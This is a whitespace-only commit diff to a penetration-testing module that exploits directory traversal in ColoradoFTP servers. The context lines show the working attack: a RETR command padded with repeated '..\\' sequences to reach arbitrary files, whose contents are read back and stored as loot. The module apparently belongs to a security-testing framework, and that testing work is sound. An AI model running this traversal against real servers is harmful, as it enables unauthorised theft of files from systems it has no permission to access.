fixed some spacing

Author: h00die

modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb

@@ -78,25 +78,25 @@ def run_host(ip)
         retr_cmd = '\\\\\\' + ("..\\" * datastore['DEPTH'] ) + "#{file_path}"
         res = send_cmd( ["retr", retr_cmd], true)
         print_status(res)
-        
+
         # dont assume theres still a sock to read from. Per #7582
         if sock.nil?
           return
         else
           # read the file data from the socket that we opened
           response_data = sock.read(1024)
         end
-  
+
         unless response_data
           print_error("#{file} not found")
           return
         end
-  
+
         if response_data.length == 0
           print_status("File (#{file_path})from #{peer} is empty...")
           return
         end
-  
+
         # store file data to loot
         loot_file = store_loot("coloradoftp.ftp.data", "text", rhost, response_data, file, file_path)
         vprint_status("Data returned:\n")